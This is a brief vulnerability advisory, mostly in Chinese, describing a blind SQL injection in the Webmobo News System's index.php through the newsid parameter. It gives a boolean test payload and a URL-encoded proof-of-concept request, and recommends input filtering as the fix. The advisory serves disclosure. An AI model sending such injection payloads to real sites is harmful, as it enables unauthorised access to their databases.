标题: Webmobo News System Blind SQL Injection
作者: Eyup CELIK www.2cto.com
影响版本:所有版本
测试版本: All versions are Vulnerability
 
描述
 
Blind SQL Injection can be done using the command input
缺陷页面:
index.php
 
示例:
index.php?action=sendto&newsid=<Blind SQL Injection Code>
 
测试方法:
index.php?action=sendto&newsid=1' and '2'='2
 
POC:

http://www.2cto.com /index.php?action=sendto&newsid=1%27%20and%20%272%27=%272
 
修复：
过滤index.php页面该参数输入、

致谢：
 
Eyup CELIK
Information Technology Security Specialist